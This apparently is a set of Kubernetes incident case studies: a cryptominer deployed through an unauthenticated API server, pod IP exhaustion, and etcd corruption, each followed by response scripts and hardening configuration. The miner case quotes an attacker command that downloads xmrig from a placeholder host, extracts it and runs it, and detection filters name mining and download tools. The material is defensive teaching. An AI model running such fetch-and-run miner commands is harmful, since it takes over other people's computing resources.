$ kubectl get pods --all-namespaces | grep -i "xmrig\|monero\|coinhive"
default         miner-deployment-7d4f9b8c-4xk2p    1/1     Running   0          2h15m
default         miner-deployment-7d4f9b8c-7n9k8    1/1     Running   0          2h15m
default         miner-deployment-7d4f9b8c-9x4j2    1/1     Running   0          2h15m
[... 142 more pods ...]

$ kubectl describe pod miner-deployment-7d4f9b8c-4xk2p
Name:         miner-deployment-7d4f9b8c-4xk2p
Namespace:    default
Image:        alpine/git:latest
Command:
  sh
  -c
  wget -O - http://malicious-site.com/xmrig.tar.gz | tar -xz && ./xmrig -o pool.minexmr.com:443 -u <attacker-wallet>

# Vulnerability 1: Exposed API server without authentication
$ kubectl cluster-info
Kubernetes master is running at https://k8s.example.com:6443

$ curl https://k8s.example.com:6443/api/v1/namespaces/default/pods --insecure
{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {},
  "items": [...]  # Full pod list returned without authentication!
}

# Vulnerability 2: No network policies
$ kubectl get networkpolicies --all-namespaces
No resources found

# Vulnerability 3: No pod security policies/standards
$ kubectl get psp
No resources found

# Vulnerability 4: Unrestricted resource requests
$ kubectl describe pod miner-deployment-7d4f9b8c-4xk2p | grep -A 5 Resources
Resources:
  Limits:
    cpu:     16000m  # No limits!
    memory:  32Gi
  Requests:
    cpu:     16000m
    memory:  32Gi

#!/bin/bash
# incident-response-crypto-miner.sh
# Immediate response playbook for cryptocurrency mining attacks

set -e

echo "=== CRYPTO MINING INCIDENT RESPONSE ==="
echo "Timestamp: $(date)"

# Step 1: Identify malicious pods
echo "[1/7] Identifying suspicious pods..."
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] | select(.spec.containers[].command |
    if . != null then
      any(.[]; contains("xmrig") or contains("monero") or contains("cryptonight") or contains("wget") or contains("curl"))
    else false end) |
    "\(.metadata.namespace)/\(.metadata.name)"' > /tmp/suspicious-pods.txt

echo "Found $(wc -l < /tmp/suspicious-pods.txt) suspicious pods"
cat /tmp/suspicious-pods.txt

# Step 2: Check for high CPU usage pods
echo "[2/7] Identifying high CPU usage pods..."
kubectl top pods --all-namespaces --sort-by=cpu | head -20

# Step 3: Immediate containment - Delete malicious pods
echo "[3/7] Deleting malicious pods..."
while IFS= read -r pod; do
    namespace=$(echo "$pod" | cut -d/ -f1)
    podname=$(echo "$pod" | cut -d/ -f2)
    echo "Deleting $namespace/$podname"
    kubectl delete pod "$podname" -n "$namespace" --force --grace-period=0
done < /tmp/suspicious-pods.txt

# Step 4: Delete malicious deployments
echo "[4/7] Identifying and deleting malicious deployments..."
kubectl get deployments --all-namespaces -o json | \
  jq -r '.items[] | select(.spec.template.spec.containers[].command |
    if . != null then
      any(.[]; contains("xmrig") or contains("monero") or contains("wget"))
    else false end) |
    "\(.metadata.namespace)/\(.metadata.name)"' | \
while IFS= read -r deployment; do
    namespace=$(echo "$deployment" | cut -d/ -f1)
    deployname=$(echo "$deployment" | cut -d/ -f2)
    echo "Deleting deployment $namespace/$deployname"
    kubectl delete deployment "$deployname" -n "$namespace"
done

# Step 5: Check for unauthorized service accounts
echo "[5/7] Checking for unauthorized service accounts..."
kubectl get serviceaccounts --all-namespaces -o json | \
  jq -r '.items[] | select(.metadata.name != "default") |
    "\(.metadata.namespace)/\(.metadata.name)"'

# Step 6: Secure API server immediately
echo "[6/7] Securing API server..."
# Add IP whitelist
kubectl patch -n kube-system service kubernetes -p \
  '{"spec":{"loadBalancerSourceRanges":["10.0.0.0/8","172.16.0.0/12"]}}'

# Step 7: Enable audit logging
echo "[7/7] Enabling audit logging..."
cat > /tmp/audit-policy.yaml <<EOF
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
  resources:
  - group: ""
    resources: ["pods", "deployments", "services"]
EOF

echo "=== IMMEDIATE RESPONSE COMPLETE ==="
echo "Next steps:"
echo "1. Review audit logs for attacker activity"
echo "2. Rotate all credentials and tokens"
echo "3. Implement network policies"
echo "4. Deploy pod security admission"
echo "5. Configure resource quotas"

# apiserver-config.yaml
apiVersion: v1
kind: Pod
metadata:
  name: kube-apiserver
  namespace: kube-system
spec:
  containers:
  - name: kube-apiserver
    command:
    - kube-apiserver
    # Authentication
    - --anonymous-auth=false
    - --client-ca-file=/etc/kubernetes/pki/ca.crt
    - --enable-bootstrap-token-auth=true

    # Authorization
    - --authorization-mode=Node,RBAC

    # Admission plugins
    - --enable-admission-plugins=NodeRestriction,PodSecurityPolicy,LimitRanger,ResourceQuota,AlwaysPullImages

    # Audit logging
    - --audit-log-path=/var/log/kubernetes/audit.log
    - --audit-log-maxage=30
    - --audit-log-maxbackup=10
    - --audit-log-maxsize=100
    - --audit-policy-file=/etc/kubernetes/audit-policy.yaml

    # Network restrictions
    - --bind-address=10.0.1.100
    - --secure-port=6443
    - --insecure-port=0

# pod-security-standards.yaml
---
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
---
# Example restricted pod
apiVersion: v1
kind: Pod
metadata:
  name: secure-app
  namespace: production
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:1.0.0
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop:
        - ALL
      readOnlyRootFilesystem: true
    resources:
      requests:
        cpu: 100m
        memory: 128Mi
      limits:
        cpu: 500m
        memory: 512Mi

# network-policies.yaml
---
# Default deny all ingress
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-ingress
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
---
# Default deny all egress
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
---
# Allow specific application traffic
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-app-traffic
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: myapp
  policyTypes:
  - Ingress
  - Egress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend
    ports:
    - protocol: TCP
      port: 8080
  egress:
  - to:
    - podSelector:
        matchLabels:
          app: database
    ports:
    - protocol: TCP
      port: 5432
  # Allow DNS
  - to:
    - namespaceSelector:
        matchLabels:
          name: kube-system
    ports:
    - protocol: UDP
      port: 53

# resource-controls.yaml
---
apiVersion: v1
kind: ResourceQuota
metadata:
  name: production-quota
  namespace: production
spec:
  hard:
    requests.cpu: "100"
    requests.memory: 200Gi
    limits.cpu: "200"
    limits.memory: 400Gi
    persistentvolumeclaims: "50"
    pods: "100"
---
apiVersion: v1
kind: LimitRange
metadata:
  name: production-limits
  namespace: production
spec:
  limits:
  - max:
      cpu: "4"
      memory: 8Gi
    min:
      cpu: 100m
      memory: 128Mi
    default:
      cpu: 500m
      memory: 512Mi
    defaultRequest:
      cpu: 250m
      memory: 256Mi
    type: Container

# falco-daemonset.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: falco
  namespace: security
spec:
  selector:
    matchLabels:
      app: falco
  template:
    metadata:
      labels:
        app: falco
    spec:
      serviceAccountName: falco
      hostNetwork: true
      hostPID: true
      containers:
      - name: falco
        image: falcosecurity/falco:0.36.0
        securityContext:
          privileged: true
        volumeMounts:
        - name: dev
          mountPath: /host/dev
        - name: proc
          mountPath: /host/proc
          readOnly: true
        - name: boot
          mountPath: /host/boot
          readOnly: true
        - name: lib-modules
          mountPath: /host/lib/modules
          readOnly: true
        - name: usr
          mountPath: /host/usr
          readOnly: true
        - name: etc
          mountPath: /host/etc
          readOnly: true
        - name: falco-config
          mountPath: /etc/falco
      volumes:
      - name: dev
        hostPath:
          path: /dev
      - name: proc
        hostPath:
          path: /proc
      - name: boot
        hostPath:
          path: /boot
      - name: lib-modules
        hostPath:
          path: /lib/modules
      - name: usr
        hostPath:
          path: /usr
      - name: etc
        hostPath:
          path: /etc
      - name: falco-config
        configMap:
          name: falco-config
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-config
  namespace: security
data:
  falco.yaml: |
    rules_file:
    - /etc/falco/falco_rules.yaml
    - /etc/falco/falco_rules.local.yaml
    - /etc/falco/k8s_audit_rules.yaml

    # Crypto mining detection
    - rule: Detect crypto miners using the Stratum protocol
      desc: Detect Crypto miners that use Stratum protocol
      condition: proc.name in (crypto_miners) and fd.sport = 3333
      output: "Crypto mining detected (user=%user.name command=%proc.cmdline)"
      priority: CRITICAL

    # Suspicious network activity
    - rule: Outbound connection to C2 server
      desc: Detect outbound connection to known C2 server
      condition: outbound and fd.sip in (known_bad_ips)
      output: "Outbound connection to C2 server (connection=%fd.name)"
      priority: CRITICAL

# The problematic deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: web-app
spec:
  replicas: 10
  selector:
    matchLabels:
      app: web-app
  template:
    metadata:
      labels:
        app: web-app
    spec:
      containers:
      - name: app
        image: myapp:broken-version
        # This version had a bug causing immediate crash
        readinessProbe:
          httpGet:
            path: /health
            port: 8080
          initialDelaySeconds: 1
          periodSeconds: 1
          failureThreshold: 1

# Kubernetes behavior:
# 1. Create pod
# 2. Allocate IP
# 3. Pod crashes immediately
# 4. Fails readiness probe
# 5. Pod terminated
# 6. IP released (but takes 30s)
# 7. New pod created immediately
# 8. Loop continues, exhausting IP pool

#!/bin/bash
# detect-ip-exhaustion.sh

echo "=== IP ADDRESS EXHAUSTION DIAGNOSTIC ==="

# Check IP allocation
echo "[1] Current IP allocations:"
kubectl get pods --all-namespaces -o wide | awk '{print $7}' | sort | uniq -c | sort -rn

# Check for IP allocation errors
echo "[2] Recent IP allocation errors:"
kubectl get events --all-namespaces --sort-by='.lastTimestamp' | \
  grep -i "failed to allocate\|no addresses available\|ip address"

# Check pod churn rate
echo "[3] Pod creation rate (last hour):"
kubectl get events --all-namespaces --sort-by='.lastTimestamp' | \
  grep -i "created pod" | \
  awk '{print $1}' | \
  uniq -c

# Check CNI plugin status
echo "[4] CNI plugin status:"
kubectl get pods -n kube-system -l k8s-app=calico-node -o wide

# Check IPAM allocation
echo "[5] IPAM statistics:"
kubectl exec -n kube-system calico-node-xxxxx -- calico-ipam show

# Emergency mitigation
echo "[6] Emergency mitigation options:"
echo "Option 1: Expand CIDR range (requires cluster restart)"
echo "Option 2: Delete crashlooping pods"
echo "Option 3: Implement IP release acceleration"

# Find crashlooping pods
echo "[7] Crashlooping pods consuming IPs:"
kubectl get pods --all-namespaces --field-selector=status.phase!=Running | \
  grep -v "Completed"

# ip-management-config.yaml
---
# 1. Use larger CIDR blocks
apiVersion: kubeadm.k8s.io/v1beta3
kind: ClusterConfiguration
networking:
  podSubnet: "10.244.0.0/16"  # 65,534 IPs instead of 254
  serviceSubnet: "10.96.0.0/12"  # 1,048,574 IPs

---
# 2. Implement pod disruption budgets
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
  name: web-app-pdb
spec:
  maxUnavailable: 1
  selector:
    matchLabels:
      app: web-app

---
# 3. Configure aggressive IP reclamation
apiVersion: v1
kind: ConfigMap
metadata:
  name: calico-config
  namespace: kube-system
data:
  cni_network_config: |
    {
      "name": "k8s-pod-network",
      "cniVersion": "0.3.1",
      "plugins": [
        {
          "type": "calico",
          "ipam": {
            "type": "calico-ipam",
            "assign_ipv4": "true",
            "ipv4_pools": ["10.244.0.0/16"]
          },
          "kubernetes": {
            "kubeconfig": "/etc/cni/net.d/calico-kubeconfig"
          },
          "policy": {
            "type": "k8s"
          }
        },
        {
          "type": "bandwidth",
          "capabilities": {"bandwidth": true}
        },
        {
          "type": "portmap",
          "capabilities": {"portMappings": true}
        }
      ]
    }

---
# 4. Monitor IP allocation
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: ip-allocation-alerts
spec:
  groups:
  - name: ip-management
    rules:
    - alert: HighIPUtilization
      expr: |
        (sum(kube_pod_info) / sum(calico_ipam_allocations_per_node)) > 0.8
      for: 5m
      labels:
        severity: warning
      annotations:
        summary: "IP address utilization above 80%"

    - alert: CriticalIPUtilization
      expr: |
        (sum(kube_pod_info) / sum(calico_ipam_allocations_per_node)) > 0.95
      for: 1m
      labels:
        severity: critical
      annotations:
        summary: "IP address utilization above 95%"

# What happened:
# 1. etcd running on nodes with unreliable storage (AWS gp2 with burst credits exhausted)
# 2. Storage latency spikes caused etcd write timeouts
# 3. etcd attempted to repair database automatically
# 4. Repair process interrupted by another latency spike
# 5. Database left in partially corrupted state
# 6. Backup process captured corrupted state

# Evidence from etcd logs:
$ journalctl -u etcd | grep -i "corrupt\|error\|panic"
etcd[1234]: database corruption detected
etcd[1234]: backend/backend.go:197: compact error: database corruption
etcd[1234]: mvcc: store.index.compact failed: etcdserver: database space exceeded
etcd[1234]: panic: runtime error: invalid memory address or nil pointer dereference

#!/bin/bash
# etcd-disaster-recovery.sh

set -e

echo "=== ETCD DISASTER RECOVERY ==="

# Step 1: Stop all API servers
echo "[1/10] Stopping API servers..."
systemctl stop kube-apiserver

# Step 2: Stop etcd on all nodes
echo "[2/10] Stopping etcd cluster..."
for node in etcd-1 etcd-2 etcd-3; do
    ssh $node "systemctl stop etcd"
done

# Step 3: Backup current (corrupted) state
echo "[3/10] Backing up corrupted data..."
for node in etcd-1 etcd-2 etcd-3; do
    ssh $node "tar -czf /backup/etcd-corrupted-$(date +%Y%m%d-%H%M%S).tar.gz /var/lib/etcd"
done

# Step 4: Find last known good backup
echo "[4/10] Locating last known good backup..."
BACKUP_FILE=$(find /backup/etcd-snapshots -name "snapshot-*.db" -type f | \
    while read file; do
        # Verify backup integrity
        if ETCDCTL_API=3 etcdctl snapshot status "$file" > /dev/null 2>&1; then
            echo "$file"
            break
        fi
    done)

if [ -z "$BACKUP_FILE" ]; then
    echo "ERROR: No valid backup found!"
    exit 1
fi

echo "Using backup: $BACKUP_FILE"

# Step 5: Clear etcd data directories
echo "[5/10] Clearing etcd data directories..."
for node in etcd-1 etcd-2 etcd-3; do
    ssh $node "rm -rf /var/lib/etcd/*"
done

# Step 6: Restore from snapshot on first node
echo "[6/10] Restoring etcd from snapshot..."
ETCDCTL_API=3 etcdctl snapshot restore "$BACKUP_FILE" \
  --name=etcd-1 \
  --initial-cluster=etcd-1=https://10.0.1.10:2380,etcd-2=https://10.0.1.11:2380,etcd-3=https://10.0.1.12:2380 \
  --initial-cluster-token=etcd-cluster-1 \
  --initial-advertise-peer-urls=https://10.0.1.10:2380 \
  --data-dir=/var/lib/etcd

# Copy restored data to first node
scp -r /var/lib/etcd etcd-1:/var/lib/

# Step 7: Restore on remaining nodes
echo "[7/10] Restoring remaining nodes..."
for i in 2 3; do
    ETCDCTL_API=3 etcdctl snapshot restore "$BACKUP_FILE" \
      --name=etcd-$i \
      --initial-cluster=etcd-1=https://10.0.1.10:2380,etcd-2=https://10.0.1.11:2380,etcd-3=https://10.0.1.12:2380 \
      --initial-cluster-token=etcd-cluster-1 \
      --initial-advertise-peer-urls=https://10.0.1.1$i:2380 \
      --data-dir=/var/lib/etcd

    scp -r /var/lib/etcd etcd-$i:/var/lib/
done

# Step 8: Start etcd cluster
echo "[8/10] Starting etcd cluster..."
for node in etcd-1 etcd-2 etcd-3; do
    ssh $node "systemctl start etcd"
    sleep 10
done

# Step 9: Verify cluster health
echo "[9/10] Verifying cluster health..."
ETCDCTL_API=3 etcdctl --endpoints=https://10.0.1.10:2379,https://10.0.1.11:2379,https://10.0.1.12:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  endpoint health

# Step 10: Restart API servers
echo "[10/10] Starting API servers..."
systemctl start kube-apiserver

# Verify cluster
echo "Verifying Kubernetes cluster..."
kubectl get nodes
kubectl get pods --all-namespaces

echo "=== RECOVERY COMPLETE ==="

# etcd-production-config.yaml
---
# 1. Use dedicated high-performance storage
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: etcd-data-etcd-0
spec:
  accessModes:
  - ReadWriteOnce
  storageClassName: etcd-storage  # Dedicated storage class
  resources:
    requests:
      storage: 100Gi

---
# Storage class with guaranteed IOPS
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: etcd-storage
provisioner: kubernetes.io/aws-ebs
parameters:
  type: io2  # Provisioned IOPS SSD
  iopsPerGB: "100"  # 10,000 IOPS for 100GB volume
  fsType: ext4
volumeBindingMode: WaitForFirstConsumer

---
# 2. Automated backup CronJob
apiVersion: batch/v1
kind: CronJob
metadata:
  name: etcd-backup
  namespace: kube-system
spec:
  schedule: "0 */6 * * *"  # Every 6 hours
  concurrencyPolicy: Forbid
  successfulJobsHistoryLimit: 7
  failedJobsHistoryLimit: 3
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: etcd-backup
            image: gcr.io/etcd-development/etcd:v3.5.9
            command:
            - /bin/sh
            - -c
            - |
              set -e
              BACKUP_FILE="/backup/snapshot-$(date +%Y%m%d-%H%M%S).db"

              # Create snapshot
              ETCDCTL_API=3 etcdctl \
                --endpoints=https://etcd-0.etcd:2379,https://etcd-1.etcd:2379,https://etcd-2.etcd:2379 \
                --cacert=/etc/kubernetes/pki/etcd/ca.crt \
                --cert=/etc/kubernetes/pki/etcd/server.crt \
                --key=/etc/kubernetes/pki/etcd/server.key \
                snapshot save "$BACKUP_FILE"

              # Verify snapshot
              ETCDCTL_API=3 etcdctl snapshot status "$BACKUP_FILE"

              # Upload to S3
              aws s3 cp "$BACKUP_FILE" "s3://my-etcd-backups/$(basename $BACKUP_FILE)"

              # Clean up old local backups
              find /backup -name "snapshot-*.db" -mtime +7 -delete

              # Clean up old S3 backups
              aws s3 ls s3://my-etcd-backups/ | \
                awk '{print $4}' | \
                sort -r | \
                tail -n +31 | \
                xargs -I {} aws s3 rm "s3://my-etcd-backups/{}"

              echo "Backup completed: $BACKUP_FILE"
            volumeMounts:
            - name: backup
              mountPath: /backup
            - name: etcd-certs
              mountPath: /etc/kubernetes/pki/etcd
              readOnly: true
            env:
            - name: AWS_ACCESS_KEY_ID
              valueFrom:
                secretKeyRef:
                  name: aws-credentials
                  key: access-key-id
            - name: AWS_SECRET_ACCESS_KEY
              valueFrom:
                secretKeyRef:
                  name: aws-credentials
                  key: secret-access-key
          restartPolicy: OnFailure
          volumes:
          - name: backup
            persistentVolumeClaim:
              claimName: etcd-backup
          - name: etcd-certs
            secret:
              secretName: etcd-certs

---
# 3. etcd monitoring
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
  name: etcd
  namespace: kube-system
spec:
  selector:
    matchLabels:
      component: etcd
  endpoints:
  - port: metrics
    interval: 30s
    scheme: https
    tlsConfig:
      caFile: /etc/prometheus/secrets/etcd-certs/ca.crt
      certFile: /etc/prometheus/secrets/etcd-certs/client.crt
      keyFile: /etc/prometheus/secrets/etcd-certs/client.key

---
# etcd alerts
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: etcd-alerts
  namespace: kube-system
spec:
  groups:
  - name: etcd
    rules:
    - alert: etcdInsufficientMembers
      expr: count(up{job="etcd"} == 1) < ((count(up{job="etcd"}) + 1) / 2)
      for: 3m
      labels:
        severity: critical
      annotations:
        summary: "etcd cluster has insufficient members"

    - alert: etcdNoLeader
      expr: etcd_server_has_leader{job="etcd"} == 0
      for: 1m
      labels:
        severity: critical
      annotations:
        summary: "etcd cluster has no leader"

    - alert: etcdHighNumberOfLeaderChanges
      expr: rate(etcd_server_leader_changes_seen_total{job="etcd"}[15m]) > 3
      for: 5m
      labels:
        severity: warning
      annotations:
        summary: "etcd cluster has high number of leader changes"

    - alert: etcdHighFsyncDurations
      expr: histogram_quantile(0.99, rate(etcd_disk_wal_fsync_duration_seconds_bucket{job="etcd"}[5m])) > 0.5
      for: 10m
      labels:
        severity: warning
      annotations:
        summary: "etcd WAL fsync durations are high"

    - alert: etcdDatabaseQuotaLowSpace
      expr: etcd_mvcc_db_total_size_in_bytes{job="etcd"} / etcd_server_quota_backend_bytes{job="etcd"} > 0.95
      for: 10m
      labels:
        severity: critical
      annotations:
        summary: "etcd database quota is running low"